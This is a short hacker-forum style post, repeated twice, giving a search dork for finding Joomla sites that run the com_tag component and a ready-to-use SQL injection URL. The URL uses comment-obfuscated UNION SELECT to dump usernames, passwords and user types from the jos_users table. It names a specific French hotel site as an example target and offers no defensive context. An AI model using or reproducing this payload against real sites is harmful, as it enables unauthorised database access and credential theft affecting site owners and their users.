( Dork per me ) : inurl
ption=com_tag site:fr ( you can change site:fr per .tr .com etc.. )
exploit : /index.php?option=com_tag&controller=tag&task=add&article_id=-1/**//*!union*//**//*!select*//**/concat%28username,0x3a,password,0x3a,usertype%29/**//*!from*//**/jos_users/**/&tmpl=component
Example :
https://citotel.fr/index.php?option.../**//*!from*//**/jos_users/**/&tmpl=component
you can look table user in cms joomla ♥
exploit : /index.php?option=com_tag&controller=tag&task=add&article_id=-1/**//*!union*//**//*!select*//**/concat%28username,0x3a,password,0x3a,usertype%29/**//*!from*//**/jos_users/**/&tmpl=component
Example :
https://citotel.fr/index.php?option.../**//*!from*//**/jos_users/**/&tmpl=component
you can look table user in cms joomla ♥